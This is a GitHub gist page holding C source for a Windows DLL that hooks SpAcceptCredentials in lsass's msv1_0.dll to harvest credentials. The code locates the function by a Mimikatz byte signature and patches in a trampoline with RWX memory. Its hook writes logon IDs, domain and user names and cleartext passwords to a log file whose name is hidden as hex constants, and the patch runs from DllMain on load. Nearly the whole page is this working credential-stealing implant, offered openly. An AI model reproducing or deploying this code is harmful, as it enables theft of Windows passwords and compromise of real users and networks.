Skip to content

Instantly share code, notes, and snippets.

@xpn xpn/ssp_dll.c Secret
Created Jun 4, 2019

Embed
What would you like to do?
// Requires /GS- to disable stack-cookies
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <sspi.h>
#include <ntsecapi.h>
#include <ntsecpkg.h>
#define PATTERN_OFFSET 0x10
//
// Full credit to Mimikatz for signatures, hook routine, and general awesomeness.
//
BYTE INSTR_JMP[] = { 0xff, 0x25, 0x00, 0x00, 0x00, 0x00 }; // need 14
BYTE PTRN_WI81_MSV1_0[] = { 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xd9, 0x49, 0x8b, 0xf8, 0x8b, 0xf1, 0x48 };
typedef NTSTATUS(NTAPI* PSPACCEPTCREDENTIALS)(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials);
typedef FILE* (__cdecl* PFOPEN)(__in_z const char* _Filename, __in_z const char* _Mode);
typedef int(__cdecl* PFWPRINTF)(__inout FILE* _File, __in_z __format_string const wchar_t* _Format, ...);
typedef int(__cdecl* PFCLOSE)(__inout FILE* _File);
#pragma optimize("", off)
NTSTATUS NTAPI misc_msv1_0_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE* logfile;
DWORD filename[] = { 0x2e6e7078, 0x00676f6c },
append = 0x00000061,
format[] = { 0x0025005b, 0x00380030, 0x003a0078, 0x00300025, 0x00780038, 0x0020005d, 0x00770025, 0x005c005a, 0x00770025, 0x0009005a, 0x00770025, 0x000a005a, 0x00000000 };
if (logfile = ((PFOPEN)0x4141414141414141)((PCHAR)filename, (PCHAR)& append))
{
((PFWPRINTF)0x4242424242424242)(logfile, (PWCHAR)format, PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, &PrimaryCredentials->Password);
((PFCLOSE)0x4343434343434343)(logfile);
}
return ((PSPACCEPTCREDENTIALS)0x4444444444444444)(LogonType, AccountName, PrimaryCredentials, SupplementalCredentials);
}
DWORD misc_msv1_0_SpAcceptCredentials_end() { return 'mssp'; }
// Searches for a provided pattern in memory and returns the offset
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen, DWORD memSize) {
ULONG offset = 0;
for (DWORD i = 0; i < memSize; i++) {
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) {
if (memcmp(mem + i, signature, signatureLen) == 0) {
// Found the signature
offset = i;
break;
}
}
}
return offset;
}
DWORD SearchPatternLiteral(unsigned char *mem, ULONGLONG literal, ULONG memSize) {
return SearchPattern(mem, (unsigned char *)&literal, sizeof(literal), memSize);
}
// Patch lsass msv1_0.dll to harvest credentials
void patch(void) {
DWORD patternOffset, oldProtect, oldOldProtect;
unsigned char* hook, *returnJump;
unsigned char* msvDllBase = (unsigned char *)GetModuleHandleA("msv1_0.dll");
//unsigned char* dll = (unsigned char*)LoadLibraryA("msv1_0.dll");
if (msvDllBase == NULL) {
return;
}
ULONGLONG hookSize = (ULONGLONG)&misc_msv1_0_SpAcceptCredentials_end - (ULONGLONG)&misc_msv1_0_SpAcceptCredentials;
// Memory used to store the SpAcceptCredentials hook
hook = (unsigned char*)VirtualAlloc(NULL, hookSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (hook == NULL) {
return;
}
// Memory used to store a return jump back into SpAcceptCredentials
returnJump = (unsigned char *)VirtualAlloc(NULL, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (returnJump == NULL) {
return;
}
// Copy hook into allocated memory
memcpy(hook, misc_msv1_0_SpAcceptCredentials, hookSize);
// Update placeholder for fopen
patternOffset = SearchPatternLiteral(hook, 0x4141414141414141, hookSize);
*(void **)(hook + patternOffset) = GetProcAddress(LoadLibraryA("msvcrt.dll"), "fopen");
// Update placeholder for fwprintf
patternOffset = SearchPatternLiteral(hook, 0x4242424242424242, hookSize);
*(void**)(hook + patternOffset) = GetProcAddress(LoadLibraryA("msvcrt.dll"), "fwprintf");
// Update placeholder for fclose
patternOffset = SearchPatternLiteral(hook, 0x4343434343434343, hookSize);
*(void**)(hook + patternOffset) = GetProcAddress(LoadLibraryA("msvcrt.dll"), "fclose");
// Update placeholder for return back into SpAcceptCredentials
patternOffset = SearchPatternLiteral(hook, 0x4444444444444444, hookSize);
*(void**)(hook + patternOffset) = returnJump;
// Search for Mimikatz pattern which lands us at SpAcceptCredentials
patternOffset = SearchPattern(msvDllBase, PTRN_WI81_MSV1_0, sizeof(PTRN_WI81_MSV1_0), 0x200000);
if (patternOffset == 0) {
return;
}
// Offset from pattern match to start of function
patternOffset -= PATTERN_OFFSET;
// Copy 15 bytes from start of SpAcceptCredentials which will be overwritten with our
// trampoline
memcpy(returnJump, msvDllBase + patternOffset, 15);
// Add return JMP instruction back into SpAcceptCredentials
memcpy(returnJump + 15, INSTR_JMP, sizeof(INSTR_JMP));
*(ULONGLONG*)(returnJump + 15 + sizeof(INSTR_JMP)) = (ULONGLONG)(msvDllBase + patternOffset + 15);
// Update protection of SpAcceptCredentials and add our trampoline
VirtualProtect(msvDllBase + patternOffset, 0x10, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(msvDllBase + patternOffset, INSTR_JMP, sizeof(INSTR_JMP));
*(ULONGLONG*)(msvDllBase + patternOffset + sizeof(INSTR_JMP)) = (ULONGLONG)hook;
// Clean up RWX pages
VirtualProtect(msvDllBase + patternOffset, 0x10, oldProtect, &oldOldProtect);
VirtualProtect(returnJump, 1024, PAGE_EXECUTE_READ, &oldProtect);
VirtualProtect(hook, hookSize, PAGE_EXECUTE_READ, &oldProtect);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
patch();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
// Return FALSE to fail DLL load, although we will have installed our patch above
return FALSE;
}
#pragma optimize("", on)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.